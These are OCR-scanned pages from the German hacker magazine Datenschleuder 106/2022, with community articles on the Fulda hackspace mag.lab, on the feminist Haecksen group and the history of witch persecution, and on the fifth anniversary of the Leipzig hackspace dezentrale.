07.2018 WAT 2. kleines Hackercamp
,What a Tent"

08.2019 ZSH ZeltStadtHessen, eine Ko-
operation hessischer Hackspaces und
Chaostrefts auf den CCCamp 2019, Zie-
geleipark Mildenberg
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maglab.space

Die nachsten Schritte: Vereins-
griindung und Raumsuche

Der Wunsch sich aus dem Hochschulumfeld
zu 16sen und hierdurch auch anderen Men-
schen aus der Region Fulda einen nieder-
schwelligen Zugang zu erméglichen, stand in
den folgenden Jahren immer wieder im Raum.
Dabei spielte es auch eine Rolle, dass neben
einer festen Rahmung auch Interesse an einer
juristisch sicheren Form bestand.

Im Jahr 2014 gelang schliefilich ein neu-
er Versuch der Vereinsgriindung. Gemeinsam
wurde eine Satzung nach dem Vorbild ande-
rer Chaostreffs und Hackspaces erarbeitet, zur
Griindungssitzung eingeladen und der Verein
~Magrathea Laboratories® gegriindet.

Von Beginn an war die Realisierung eines
Hackspaces zentrale Idee des Vereins. Diese
konnte ab dem 01.04.2016 umgesetzt werden
und so verfiigt der Verein nun iiber eigene Réu-
me in denen regelméafige Treffen und Vortrége
stattfinden. Auch eine kleine Werkstatt hat in
den Rédumlichkeiten ihren Platz gefunden.

Das mag.lab ist also ein virtueller und zwi-
schenzeitlich auch ein realer Raum fiir alle
Menschen, die sich experimentierfreudig ans
Zerlegen, Um- und Neubauen von Hard- und
Software, Kunst, Wirtschaft und Politik ma-
chen; Ideen, Tipps und Tricks, Werkzeugen,
Material und Lebenszeit mit anderen Men-
schen teilen wollen.

Netzwerke bauen und Kontakte
pflegen

Seit der Vereinsgriindung ist vieles passiert. So
wird von einigen unserer Mitglieder schon seit
vielen Jahren das Freifunknetz in Fulda betrie-
ben und auch die Ausstattung einer Fliicht-
lingsunterkunft mit freiem Internet konnte

2015 realisiert werden. Besonders iiber die
Freifunk-Initiativen wurden viele Kontakte zu
Einrichtungen in der Stadt gekniipft. Ein loka-
ler Partner, der an diese Stelle eine hervorge-
hobene Rolle spielt, ist das oLaF (offene Labor
Fulda). Das ist eine schuliibergreifende AG in
Form eines Maker Space an der Freiherr-vom-
Stein-Schule (Fulda), der fiir viel Publikums-
verkehr und Mitgliederzuwachs sorgt. Manch-
mal ziehen auch Mitglieder an andere Orte und
begeistern Menschen fir das mag.lab, so dass
wir uns einer Aussenstelle in Berlin erfreuen.

—

Eindruck von einer zsh-Jurte
(maglab/sythys)

Mit den hessischen Hackerspaces pflegen
wir tiber verschiedene Wege und Formate Kon-
takte. Daraus entstand zum CCCamp 2019 das
Gemeinschaftprojekt der zsh (ZeltStadtHes-
sen), das wir direkt mit fast 150 Personen rea-
lisieren konnten. Leider ist eine lokale Wie-
derholung aus verschiedenen Griinden bisher
nicht gegliickt.

Mit Beginn der Corona-Pandemie liefen
auch die 3D-Drucker der Fuldaer Hacker:in-
nen, um im Rahmen des Projekts MakerVsVi-
rus fir gentigend Schutzmasken in der Region
zu sorgen. In dem Zuge wurden zur Untersiit-
zung einige ruhende Kontakte reaktiviert.

S 0x12
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Die Dinge verselbststandigen
sich

Mit den nun existierenden Rdumlichkeiten
wurde vieles zum Selbstlaufer. Die Mitglie-
derzahlen steigen kontinuierlich und der
Hackspace beherbergt mittlerweile eine durch
die Mitglieder gut ausgestattete Holz- und
Elektronikwerkstatt. Natiirlich fehlen - wie in
den meisten Hackspaces — weder CNC-Frise
noch Lasercutter oder 3D-Drucker.

Die Raumlichkeiten als Anlaufstelle fiir un-
sere Mitglieder, um sich jederzeit dort tref-
fen zu konnen, haben zur Entstehung vieler
dezentraler Projekte gefithrt. So bauen wir
derzeit ehemalige Backereiraume hinter dem
Hackspace zu einer grofleren Werkstatt um
und freuen uns seit dem 24.09.2022 zu der
Gruppe der Erfa-Kreise zu gehoren.

Aus der Kategorie Herrausforderungen, die
alle Spaces betreffen: Hier seht ihr Larry.
Es lebt seit 14.02.2019 in unserem Kiihl-
schrank und ist fester Bestandteil des In- Buttlarstrafle 1A, 36039 Fulda
ventars (maglab) https://maglab.space/

Ein Auszug intergalaktischer Infrastruktur

Magrathea Laboratories e.V.

Eddie Boardcomputer — Virtuelle Maschine mit Home-Assistant (hass) und MQTT-Servers.

Hotblack Musikplayer — Ein Odroid XU4 mit 3 Sound Blaster Play 2 USB-Audio-Interfaces.

Alpha Centauri Inventarsystem — zur virtuellen Dokumentation realer Gegensténde.

Frankie & Benjy LDAP-Server — Gemeinsame Benutzerverwaltung fiir alle Dienste.

Emily & Prefect Versionsverwaltung und CI fiir alles von der Satzung bis zur Software.

Krikkit Backup-Server - zustéindig fiir die Verwaltung und Erstellung von Sicherheitsko-
pien.

Wonko Nextcloud - Cloud Speicher und zentraler Kalender.

Ningi Kontoauszugsdrucker — Hardware-Control fiir die Automation im Hackerspace.

Slartibartfast Lasercutter — beziehungsweise Lasergravurmaschine vom Typ K40.

God Host-System fiir die virtuellen Maschinen der verschiedenen Dienste und Projekte.

Zaphod Router — das Netzwerk im Hackspace ist maximal kompliziert.

Prostetnik Vogon Jeltz Drucker - der Farblaserdrucker ist ein Epson AcuLaser C1100.

Eam
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Wer sind die Haecksen?

von Smettbo <smettbo@posteo.de>

Schnaufend setzt sich die Diesellock in Bewegung. Der schwarze Hoodie der Zugfiihrerin mit
dem tiirkis-grinen Haecksen-Hut auf dem Riicken flattert im Wind. Zelte und mannigfaltige
futuristische Gebaude ziehen voriiber. ,,Oh, die Haecksen sind on board!®, ruft jemand in der
zweiten Reihe. Die anderen Fahrgiste sehen sich irritiert um. Die Hexen on bord?, scheinen
ihre Blicke irritiert zu fragen. Drei Reihen weiter hinten klammert sich ein kleiner Junge an
den Arm seiner Mutter: ,Was, hier gibt’s Hexen?!“ Entschuldigend sieht der Vater sich zu den
Haecksen um, die in der Reihe hinter ihm sitzen. Dann fangt er an zu erkliren: dass Hexen
gar nicht so gefdhrlich sind, wie Geschichten es einem auch heute immer noch weismachen
wollen, und dass Haecksen und Hexen zwei verschiedene Dinge sind.

Schlief3lich sprechen wir im Zusammenhang
mit dem CCC nicht von Hexen im Sinne des
Hexenhammers oder des Lebkuchenhauses.
Und die Haecksen schreiben sich anders als die
im Mittelalter verfolgten Hexen. Und doch ist
die Namensgebung der Haecksen kein Zufall,
ist doch der Begriff Haeckse eine geschickt
gewihlte Kombination aus Hacken und Hexe.

So ziemlich alle haben eine grobe Vorstel-
lung davon, was eine hackende Person macht.
Doch um die Person der Hexe rankt sich viel
Mystik und Missverstiandnis, daher zunéichst
einmal eine kurze Auffrischung zum Begriff
Hexe. Triggerwarnung: Der Teil ist vielleicht
schwer zu ertragen und kann daher iibersprun-
gen werden. Im darauffolgenden Abschnitt
geht es darum, warum es die Haecksen gibt,
und im letzten Teil darum, was die Haecksen
alles machen.

Was ist eine Hexe?

Von der Hexe ist es gedanklich nicht weit zur
Hexenverfolgung. Das ist ein unschoner Teil
der vor allem europiischen Geschichte, der
zur politischen Verfolgung und Ermordung
von hauptséchlich Frauen, aber auch queeren
und judischen Personen fiihrte. Da die For-

schungsliteratur nur von Frauen und Méannern
spricht, wird diese binére Einteilung in diesem
Abschnitt beibehalten.

Hexen waren im Grunde genommen sto-
rende Subjekte. Wer als ein stérendes Subjekt
galt, anderte sich im Verlauf der Geschichte
und hing hauptséchlich davon ab, wie die je-
weilige Gesellschaft zur entsprechenden Zeit
gestrickt war, was sie beeinflusste. Pragend
zum Ende des Mittelalters — der Zeit also, in
der die Hexenverfolgung ihren Ausgang nahm
— war die Pest. Sie verbreitete sich ab dem vier-
zehnten Jahrhundert und brach in einzelnen
Gebieten Europas immer wieder aus. Die Men-
schen konnten sich nicht erklaren, woher die-
se Krankheit kam, denn mit Zoonosen kannte
man sich damals noch herzlich wenig aus.
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Doch nicht nur die Pest war pragend fiir
diese Zeit. Auch die kleine Eiszeit suchte die
Menschen heim, mit besonders kalten Phasen
von etwa 1570 bis 1630 und 1675 bis 1715. Das
Resultat waren Missernten. Lebensmittel ver-
teuerten sich, es kam zur Inflation — schwie-
rige Bedingungen also, die auch durch den
Dreifligjahrigen Krieg, der von 1618 bis 1648
in Deutschland wiitete, nicht vereinfacht wur-
den.

Gerade alleinstehende Frauen lebten in je-
ner Zeit von der sogenannten Allmende. Die
Allmende war typischerweise eine gemein-
schaftlich genutzte Flache, auf der Gemein-
demitglieder ihre Tiere weiden durften oder
Nutzpflanzen ziehen konnten. Heute gibt es
dieses Konzept auch noch, u.a. im Alpenraum,
auf der schwedischen Insel Gotland und im
Schwarzwald. Sie ist das Gegenmodell zur heu-
te tiblichen parzellierten landwirtschaftlichen
Nutzfliche, also von Feldern die von einzel-
nen Landwirt*innen oder Unternehmen be-
wirtschaftet werden.

Im Mittelalter war Sinn und Zweck der All-
mende, dass sich auch Menschen, die keinen
eigenen Grund besaflen, erndhren konnten.
Doch mit der Eiszeit, der Pest und dem Drei-
Bigjahrigen Krieg dnderte sich nicht nur das
soziale, sondern auch das wirtschaftliche Kli-
ma. Die mittelalterliche Subsistenzwirtschaft
schlug in eine Geldwirtschaft um, der Kapita-
lismus setzte sich durch. Grofigrundbesitzer
umzéunten Allmende-Flachen und entzogen
dadurch vielen Menschen die Lebensgrundla-
ge.

Im Zuge der wirtschaftlichen Umstellungen
wurden viele Manner auflerhalb des eigenen
Hauses tatig und gingen bezahlter, produktiver
Lohnarbeit nach. Den Frauen aber wurde eine
Tétigkeit in der unbezahlten Reproduktionsar-
beit zugewiesen: Kinder gebaren, grofiziehen
und den Haushalt fithren.

Eine derartige wirtschaftliche Umstrukturie-
rung zugunsten einer wohlhabenden Minder-
heit fithrte schlie8lich zu Aufstinden, oftmals
von Frauen angefihrt oder unterstiitzt.
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Diese wirtschaftlich-politische Gemengelage
gebar sodann ein Feindbild: die Hexe. Der Be-
griff lasst sich ab dem Beginn des fiinfzehnten
Jahrhunderts nachweisen und vereint schon
bald ein Sammelsurium bekannter Feindbilder.
Aus den Gestdndnissen von als Ketzer*innen
verfolgten Personen werden Teufelsanbetun-
gen und néchtliche orgiastische Zusammen-
kiinfte tibernommen, aber auch antijiidische
Vorurteile wie Kinderopfer und der Hexentanz
(in der Synagoge; daher der Begriff ,Hexensab-
bat“) werden aufgegriffen.

Die Inquisition war nur fiir einen Teil der
Hexenprozesse verantwortlich. Die teuren Pro-
zesse wurden meistens von weltlichen Gerich-
ten durchgefihrt, vermutlich um die Unzufrie-
denheit in der Bevolkerung gegen schwichere
Bevolkerungsgruppen zu lenken. Die Grund-
lagen fiir die Hexenverfolgung wurden von
den geistlichen Hexentheoretikern gelegt. Die
ausschlaggebenden Dokumente hierfiir waren
die Papstbulle von 1484 und der sogenannte
Hexenhammer, eine Art Anleitung zur Verfol-
gung vor allem weiblicher Hexen. Auch die
Reformatoren Martin Luther und John Calvin
befiirworteten die Hexenverfolgung. Luther
hielt explizite Hexenpredigten; er ging davon
aus, dass Hexen Umgang mit dem Teufel hat-
ten, und unterstellt ihnen zahlreiche Schad-
zauber und den Pakt mit dem Teufel.

In stark verklarter Form hat die oben be-
schriebene Vergangenheit ein Hexenbild her-
vorgebracht, das grofitenteils bis heute von
negativen Stereotypen besetzt ist. Es gibt aber
inzwischen auch positiv gedeutete Hexen, et-
wa in der Kinderliteratur. Manche eignen sich
den oft auch als Schimpfwort verwendeten
Begriff wieder an und bezeichnen sich selbst
als Hexe. Sie wollen so die Deutungshoheit
zuriickerlangen und den Begriff positiv um-
deuten.

Warum gibt es die Haecksen?

Die feministische Bewegung steht im Kontext
des Patriarchats. Der Kapitalismus, der 1400
noch in den Kinderschuhen steckte, hat sich
zum dominanten Wirtschaftssystem der west-
lichen Welt entwickelt. Der Glaube an den Ho-
mo oeconomicus und an die unsichtbare Hand,
die den Markt schon regeln wird, ist weit ver-
breitet.

Die seit mindestens der frithen Bronzezeit
vorherrschenden Genderstereotype sind fest
in den Koépfen der Menschen verankert [1],
Details dazu siehe Kasten am Ende dieses Ab-
schnittes. Auch in diesem Abschnitt geht es
um Frauen und Minner, denn in der Fachlite-
ratur wird wieder nur binér gegendert.

,Frauenberufe” sind in der westlichen Welt
typischerweise in der Care-Arbeit angesiedelt,
sind schlechter bezahlt als typische ,Ménner-
berufe®. Sogar Wikipedia kennt den Begriff des
Frauenberufs und fiihrt als typische Beispiele
Lehrerin, Krankenschwester und Gebauderei-
nigung ganz oben auf der Liste. Weiter heif3t
es da: ,Charakterisiert werden kann ein Frau-
enberuf unter anderem durch die Merkmale:
geringe Qualifikation, geringes Entgelt und
Arbeitsbedingungen® [2].

Dagegen grenzen sich die sogenannten
,Mannerberufe“ ab. Diese sind hoch angesehen,
haben mit Wissenschaft, Forschung und meist
eben Technik zu tun. Ménner in diesen Berufs-
feldern erfahren hohes Ansehen, werden ernst
genommen und sind gut bezahlt. Die Feminis-
tinnen der ersten Welle in der westlichen Welt
erstritten das Wahlrecht fiir die Frau, die der
zweiten Welle kampften in den 1970ern fiir
die sexuelle Selbstbestimmung des weiblichen
Korpers und fiir Gleichberechtigung im Be-
rufsleben. Viel ist passiert seitdem, und doch
leider lange noch nicht genug.
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Die Informatik ist historisch gesehen ein Frau-
enberuf. Der Entwicklungsprozess der heute
unter der Bezeichnung Informatik bekannten
Wissenschaft begann mit der britischen Ma-
thematikerin Ada Lovelace (1815-1852). Sie
entwarf 1842 einen Algorithmus, mit welchem
Bernoulli-Zahlen mit einer Rechenmaschine
(Analytical Engine) berechnet werden konn-
ten. Im zweiten Weltkrieg war die Tatigkeit
des Programmierens fast ausschliefilich in der
Hand von Frauen. Zu dieser Zeit und danach
wurde in den USA die Softwareentwicklung
als Frauenberuf angesehen [3].

Heute liegt der Anteil an Frauen, die Infor-
matik studieren, bei rund 25% in den westli-
chen Landern. In den Ingenieurswissenschaf-
ten ist gerade mal jede zehnte immatrikulierte
Person nicht mannlich [4]. Die Statistiken sind
dabei noch immer binér gehalten, es gibt nur
Frauen und Méinner, der Anteil an trans oder
nichtbinéren Personen ist nicht erfasst.

Das liegt auch daran, dass sich gewis-
se Verhaltensmuster gerade in stark gender-
segregierten Berufen immer wieder aufs Neue
reproduzieren. Es bildet sich eine sogenannte
Fachkultur aus. Arbeiten sich Neuankémmlin-
ge in einen Job ein, werden sie professionell
sozialisiert. Das bedeutet, dass sie einerseits

das technische Skillset erlernen, das zur Be-
wiltigung der ihnen aufgetragenen Aufgaben
notwendig ist. Zusatzlich aber lernen sie auch
die historisch und gesellschaftlich gepragten
Werte des jeweiligen Berufsfeldes kennen. Um
dann als professionell wahrgenommen zu wer-
den, muss eine Person nicht nur sicher im Um-
gang mit den ihr zur Verfiigung stehenden
Techniken sein, sondern diese Expertise mit
dem Selbstverstandnis des Berufsfeldes zeigen.
So werden gender-spezifische Vorurteile wei-
ter reproduziert und im Endeffekt aufrecht-
erhalten, sofern nicht aktiv reflektiert wird.

Die Ingenieurwissenschaften sind ein be-
sonders robust gender-segregiertes Feld, wie
Seron et al. feststellten [5]. Sie arbeiteten her-
aus, dass Frauen und Méanner mit gleichem Er-
folg den Ausbildungsweg in den Ingenieurwis-
senschaften durchlaufen. Der informelle Lern-
prozess in Projektteams und wihrend Prakti-
ka aber verweist Frauen auf traditionelle Ge-
schlechterrollen. Es sind dann die téglich er-
lebten Ungerechtigkeiten, die Frauen an sich
selbst zweifeln lassen.

Am Ende fiithrt das oft dazu, dass Frauen
den Spafd an der Technik verlieren. Sie werden
durch und aus einer ménnlich dominierten
Kultur verdringt. Seron et al. fanden Hinweise
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darauf, dass die Werte und Normen der pro-
fessionellen Kultur in den Ingenieurswissen-
schaften die Identifikation bei Frauen mit dem
Beruf vermindern und die Chance erhohen,
dass diese das Feld wieder verlassen.

Die erlebten Benachteiligungen sind auch
im Haecksenwerk, Folge 3: Wer sind die Haeck-
sen, dem Podcast der Haecksen ein Thema [6].
Im gemeinsamen Gespréch erarbeiteten gelan-
tine, naerrin, waldwesen und melzai, was sie
an der Welt argert.

Gelantine fallt auch gleich ihre Rolle als
Technikerin in der Berufswelt ein. Sie be-
schreibt sich selbst als kleine Frau, ist 1,54m
grof}. Die Leute sihen sie immer als siif3, nied-
lich, kindlich. Sie brauche dann immer Monate
um herauszuarbeiten, dass sie ein erwachsener
Mensch ist, der es verdient ernst genommen zu
werden. Das Resultat: ein Mix aus Resignation
und Arger. ,lch merke das zum Beispiel schon,
dass ich in einem eher méannlichen Umfeld
Hemmung habe eine Frage zu stellen in Bezug
auf Technik, weil halt im Hintergrund immer
so dieses kleine nagende Gefiihl ist, wie der
Blick von den ménnlichen Kollegen auf mich
ist. Weil ich ,nur’ eine Frau bin® so gelantine.

Und mit diesem Erleben ist gelantine nicht
alleine. Wie die meisten nicht cis-ménnlich ge-
lesenen Personen die im weiteren technischen
Berufsfeld unterwegs sind, sieht sie sich Vor-
urteilen ausgesetzt, die vor langer Zeit struktu-
rell in unserer Gesellschaft verankert wurden,
und nur unter grofiten Anstrengungen wieder
abgeschafft werden konnen.

Was machen die Haecksen?

Gleich eines vorweg: nicht alle Hacker*innen
wollen als Haecksen bezeichnet werden.
Doch was machen jetzt die 550 Haecksen?
Ganz einfach: Die Fundamente der im vorigen
Abschnitt genannten Vorurteile einreiflen.

Ce=

Geschichte

In einer Studie tiber Mutterschaft in der
Bronzezeit in Osterreich fanden Katharina
Rebay-Salisbury et. al. heraus, dass Frau-
en, die bis zur Menopause tiberlebten, im
Schnitt 7,9 Kinder bekamen. So lange leb-
ten jedoch nur die wenigsten, denn durch
wiederholte Schwangerschaften und Gebur-
ten wurde der Korper so stark geschwicht,
dass viele jung starben. Die zuriickgelasse-
nen Partner suchten sich dann wiederrum
jungere Frauen, was auf eine patriarchale
Struktur hinweist. Ausgrabungen zeigten:
Altere Manner wurden mit jiingeren Frauen
beigesetzt. [1] Vern Bullough und Cameron
Campell fanden in ihrer Studie zur Lebens-
erwartung und Erndhrung von Frauen im
Mittelalter zudem heraus, dass Frauen im
Frihmittelalter an Eisenmangel litten. Man-
gelernahrung und hiufige Schwangerschaf-
ten fithrten zu einem frithen Lebensende [7].

Damit reihen sie sich in die aktuelle Welle
des Feminismus ein. Diese zeichnet sich u.a.
dadurch aus, dass sich der Feminismus von
einer lange vorherrschenden Gender-Binaritat
16st. Gleichberechtigung ist ein Recht fiir alle
Menschen, deshalb verstehen sich die Haeck-
sen als eine FINTA*-Gruppe. FINTA" steht
fur Frauen, intergeschlechtliche, nichtbinare,
trans und agender Personen. Der angehéngte
Asterisk dient dabei als Platzhalter, um alle
nicht-bindren Geschlechtsidentititen mit ein-
zubeziehen.

Ein weiteres Stichwort ist noch wichtig bei
der aktuellen Welle des Feminismus: Inter-
sektionalitiat. Das bedeutet, dass Diskriminie-
rungsformen wie z.B. Rassismus, Sexismus,
Ableismus und Altersdiskriminierung nicht
voneinander getrennt zu betrachtende Katego-
rien sind. Bei der Intersektionalitat werden die
einzelnen Diskriminierungsformen in ihren In-
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terdependenzen und Uberkreuzungen betrach-
tet. Sie addieren sich nicht nur in einer Person,
sondern fithren zu eigenstdandigen Diskrimi-
nierungserfahrungen. Personen, die sich mit
Technik auseinandersetzen, sind oft nicht nur
wegen ihres Geschlechts diskriminiert. Haut-
farbe spielt u.a. eine Rolle, aber auch trans
Gender und Alter. Ein Ziel der Haecksen ist es,
die intersektional-feministischen Standpunk-
te in der Szene der hackenden Personen zu
verankern. Dass eine weif3e cis Frau eine an-
dere Diskriminierung erlebt als eine Schwarze
trans Frau ist offensichtlich. Formen von Dis-
kriminierung sind individuell.

Die intersektional-individuelle Diskriminie-
rungserfahrung 16st dann vor allem eines aus:
Wout, die sich jetzt endlich mal Luft verschaf-
fen kann. Wut, wie sie sich im Falle gelanti-
nes aufstaute, wenn man einfach im berufli-
chen Umfeld nicht fiir voll genommen wird.
Das Rauslassen der Wut schafft dann Ankniip-
fungspunkte fiir Diskussionen und Aktivis-
mus.

Eine Moglichkeit dazu bietet sich zum Bei-
spiel auf der Haecksen-Assembly, wo es einen
Anger Exchange Point gibt. Menschen diir-
fen dort ihre Wut in Worte fassen, auf Zet-
tel schreiben und sich dafiir neue Zettel wie-
der herausnehmen. ,Das heif3t, man wird ihn
los und dafiir bekommt man einen anderen®,
erklart melzai im Podcast. So kann man sich
nicht nur seiner Wut gehért verschaffen, son-
dern erfahrt auch, was andere beschaftigt. Am
Ende der Assembly bleibt allerdings oft Wut
ubrig, weil mehr hereingeworfen als herausge-
nommen wurde. Diese Wut wird am Ende des
Congresses feierlich verlesen und viele stellen
fest: sie sind nicht allein, man hat gemeinsame
Erfahrungen und Themen.

Doch die Haecksen bieten FINTA* Perso-
nen mit Interesse an Technik noch viel mehr:
denn endlich trifft man sich. Was sonst, auf-

grund der niedrigen Zahlen in den jeweiligen
Berufsfeldern weit iiber die Welt verteilt exis-
tiert, hat endlich eine gemeinsame Anlaufstel-
le. Ein gemeinsamer Raum wird geschaffen
abseits des mannlich-dominierten Umfeldes,
Gruppen finden sich, die an einem Projekt
gemeinsam arbeiten wollen. Die Lust kommt
auf, sich endlich spielerisch auszuprobieren.
+Wenn ich zum Beispiel eine rein technische
Frage habe, kann ich das ganz ohne ein un-
angenehmes Gefiihl in den Raum werfen und
schauen, was daraus wird®, erklart gelantine.

Wer Bock darauf hat, einen Podcast aufzu-
ziehen, der kann das einfach machen. Und wer
Lust hat, mit Python programmieren zu ler-
nen, findet ebenso Anschluss. Das steht alles
im Zeichen der gegenseitigen Unterstiitzung:
Haecksen helfen Haecksen. Sie ermoglichen
einander, Dinge zu erreichen, die auflerhalb
des Haecksen-Kosmos vielleicht nur schwer
umsetzbar waren. Nur durch andere lernen
wir und die Haecksen setzen das in die Tat um.
Haecksen veranstalten Workshops und Trai-
nings, um ihr Wissen an Interessierte weiter-
zugeben. Diesen Sommer ist so beispielsweise
eine Website entstanden, die von Cyberstal-
king betroffene Personen unterstiitzen soll.

Wollte man alle Projekte aufzéhlen, die die
Haecksen gemeinsam aufziehen, so wire die-
ser Artikel noch ein paar Seiten langer. Fest-
gehalten soll noch werden: Es geht bei den
Haecksen um Technik im allgemeinen Sinne.
Dazu gehort zum Beispiel auch die beste Art
und Weise, Taschen in Rdcke einzunihen, die
tatsdchlich grofl genug sind, um den Geldbeu-
tel darin verstauen zu kénnen. Oder ein Seed
Exchange, sodass samenechte Tomaten nicht
mehr nur im eigenen Garten wachsen.

Im Podcast fasst melzai das Ziel der Haeck-
sen so zusammen: ,Gleiche Rechte, gleiche
Moglichkeiten, ein gleich qualitativ hochwer-
tiges Leben wie alle anderen Menschen auf
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dieser Welt.“ Und das mit Spaf3, mit gegenseiti-
ger Unterstiitzung und Zusammenarbeit, um
Tolles auf die Beine zu stellen. Schliefilich ver-
suchen die Haecksen, die Welt so zu verandern,
dass alle Menschen die gleichen Rechte haben.
Die Haecksen verstehen sich als Lagerfeu-
er, um das sich FINTA* Personen im Technik-
Umfeld scharen konnen. Dabei sind nicht nur
hackende Personen, sondern auch solche, die
Wissenschaft betreiben, die aktivistisch unter-
wegs sind, und solche, die sich kiinstlerisch
und philosophisch mit Technik auseinander-
setzen. Es wird Wut diskutiert und daraus
Mut gewonnen. Der Begriff der Hexe wird
durchleuchtet und neu besetzt. Es werden An-
schlusspunkte zum groflen Chaos aufgezeigt,
welches ausgehend vom Haecksen Space mit
einem guten Gefiihl erkundet werden kann.
Die Haecksen sind Safer Space und Anschluss-
moglichkeit, Katalysator und Denkraum.

Allgemeine Adresse: <info@haecksen.org>
Mastodon: @haecksen@chaos.social
Twitter: @hacksenC

Referenzen

[1] Katharina Rebay-Salisbury et al.: ,Mo-
therhood at Early Bronze Age Unterhaut-
zenthal, Lower Austria®, Archaeologia
Austriaca 102, 2018, pp. 71-134.

[2] Wikipedia: ,Frauenberuf®, https://de.wik
ipedia.org/wiki/Frauenberuf

[3] Wikipedia: ,Frauen in der Informatik®, ht
tps://de.wikipedia.org/wiki/Frauenberuf

[4] bitkom: ,In Informatik-Hoérsélen liegt
der Frauenanteil bei einem Viertel®,
https://www.bitkom.org/Presse/Pres
seinformation/Informatik-Frauenanteil

2y

[5] Carroll Seron et.al.: ,Persistence Is Cul-
tural. Professional Socialization and the
Reproduction of Sex Segregation.”, Work
and Occupations 2016, Vol. 43(2) 178-214.
Podcast Haecksenwerk, Folge 3: ,Wer
sind die Haecksen?“ (2021), https:
/Iwww.haecksen.org/uncategorized/h
ckn003-wer-sind-die-haecksen/

Vern Bullough and Cameron Campbell:
,Female Longevity and Diet in the Middle
Ages®, Speculum 55, 1980, 317-25.

‘n.ﬁ‘-j"-" S fi

6

—

[7

—

Datenschleuder 106 /2022

0x1B E%‘%


mailto:info@haecksen.org
https://chaos.social/@haecksen
https://twitter.com/haecksenC
https://de.wikipedia.org/wiki/Frauenberuf
https://de.wikipedia.org/wiki/Frauenberuf
https://de.wikipedia.org/wiki/Frauenberuf
https://de.wikipedia.org/wiki/Frauenberuf
https://www.bitkom.org/Presse/Presseinformation/Informatik-Frauenanteil
https://www.bitkom.org/Presse/Presseinformation/Informatik-Frauenanteil
https://www.haecksen.org/uncategorized/hckn003-wer-sind-die-haecksen/
https://www.haecksen.org/uncategorized/hckn003-wer-sind-die-haecksen/
https://www.haecksen.org/uncategorized/hckn003-wer-sind-die-haecksen/

5 Jahre dezentrale in Leipzig
— (m)eine Retrospektive

von pilgrim <vorstand@dezentrale.space>

Mit Griindungstreffen am 11. Juni 2017 wurde der dezentrale eV. [1] in Leipzig diesen Sommer
5 Jahre alt. Unser Jubildum haben wir am Samstag, den 13. August 2022, mit vielen Gésten
gebiihrend gefeiert und die Zeit genutzt, um die Erfolge und Hiirden im Vereinsleben gemeinsam
zu reflektieren. Eine Retrospektive des Hackspace Leipzig.

Retrospektive

Im August vor 5 Jahren wurde das Hinterhaus
der Dreilindenstraf3e 19 mit Lotkolben, einer
selbstgebauten Werkbank, LED-Stripes sowie
jeder Menge elektronischen Bauteilen belebt.
Die 10 Grindungsmitglieder der dezentrale
hatten kurz vorher vom Amtsgericht Leipzig
iiber die Eintragung VR 6458 die Bestétigung
bekommen als gemeinniitziger Verein zu agie-
ren und die beschlossenen Satzungszwecke
zu verfolgen, die man sich selbst zum ersten
Treffen auferlegt hatte.

Diesen Sommer saflen wir dann zusammen
mit >75 Gésten in ebendiesen Réumen und ge-
nossen neben Tschunk, leckeren Burgern mit
Seitan-Patty, vegetarischen Tschebureki auch
aufschlussreiche Vortrage und spater am

Birthdaycake 5;42

Abend eine gelungene musikalische Darbie-
tung tber eine Live-Coding-Perfomance mit
TidalCycles. [2] Dafiir wurde unsere Musikan-
lage zur Beschallung in angenehmer Lautstar-
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5 Jahre dezentrale
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ke genutzt. Uber den Geriuschpegel miissen
wir uns meist keine Gedanken machen. Wir
verstehen uns mit den Nachbarn im Vorder-
haus blendend, die selbst hin und wieder zu
Gast sind oder Freunde mit Technikfragen zu
uns schicken.

TydalCycles Live-Coding

dezentrale Vereinswelt

Ich selbst bin etwa im September 2019 das ers-
te Mal in der dezentrale aufgeschlagen, auf
der Suche nach einem Hackspace und diesem
Chaos, von dem man gelegentlich hort. Zur
Eroffnung des Jubildums habe ich eine Prasen-
tation iiber meine personliche Retrospektive
der dezentrale gegeben — von unserer Vereins-
welt bis zu den Projekten und Events innerhalb
der dezentrale.

Nachdem ich dann regelméfliger Gast im
Verein wurde, hatte ich trotzdem noch etwas
mit meinem Mitgliedsantrag gezogert. In der
Folge war die Nummer 041 noch frei und ich
entsprechend geduldig. Heute ist die 42 mei-
ne Mitgliedsnummer. Bei einer der nichsten
Mitgliederversammlungen nach meinem Bei-
tritt wurde ich zudem zum Teil des Vorstands
gewahlt.

In meiner Prasentation zum Jubildium wa-
ren nicht nur solche Erinnerungen Bestandeteil,
sondern auch die Tiicken der Vereinswelt und
wie sich unser Space wihrend der Zeit ent-
wickelt hat. Ich habe mir ein, zugegeben eher
ungewdohnliches, Thema zum Einstieg gewihlt
und vom §52 der Abgabenordnung zitiert, der
Vereinen den Zusatz ,gemeinniitzig® ermég-
licht. Die dezentrale hat dies mit den 3 Punkten
,Kunst und Kultur, ,Erziehung und Bildung*
sowie ,Kriminalpravention® in der Satzung
verankert. Dies wurde vom Finanzamt seit
Griindung des Vereins anerkannt. Fiir mich
ist bis heute die Unterscheidung und Gliede-
rung von Vereinen im Allgemeinen in die vier
wirtschaftlichen Bereiche ,Ideell”, ,Zweckbe-
trieb®, ,Vermogensverwaltung® & ,wirtschaft-
licher Geschaftsbetrieb ein schwieriger Fall.
Ich beneide unseren Schatzmeister an dieser
Stelle nicht um seine Position, hoffe aber, dass
ich mit der Unterscheidung in meinem Vortrag
dem Publikum zumindest ein bisschen mehr
Einblick in unsere Aufgaben als Vorstand ge-
ben konnte.

dezentrales Wochenprogramm

Eine frithe Erinnerung von mir ist, dass man
in der Couchecke noch einen Bierkasten hoch-
kant auf den Tischen fand, der aber keine Ge-
tranke bereitstellte, sondern Netzteile und Ka-
bel. ,Immerhin praktisch®, dachte ich mir in
diesem Moment.

Die dezentrale hatte zu jenem Zeitpunkt
drei wochentliche Events und ein monatliches
Treffen der Leipziger Bitcoin Community. Mit
der Hauptkommunikation via E-Mail auch zu-
gegeben etwas unkoordinierter als heute.

Alleine in den letzten zwei Jahren hat sich
viel im Space verdndert. Nicht nur, dass man
nun Deckenhalterungen fiir die Beamer ver-
wendet, wir kommunizieren jetzt auch vor-
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rangig tiber Matrix, nutzen eine interne Next-
cloud, ein Gitea wurde aufgesetzt, wir organi-
sieren uns iiber Kanban-Boards (jeweils selbst
gehostet), halten den Space sauber mit gemein-
samen WoW (Weekends of Work) und versen-
den regelmiflige Newsletter tiber Neuigkeiten
unserer Projekte sowie anstehende Events. Un-
ser Wiki wurde von Grund auf uiberarbeitet,
und mit vielen aktiven Beitragen [3] befullt.
Dies macht unsere Arbeit insgesamt transpa-
renter.

Pilgrims Eréffnungsvortrag

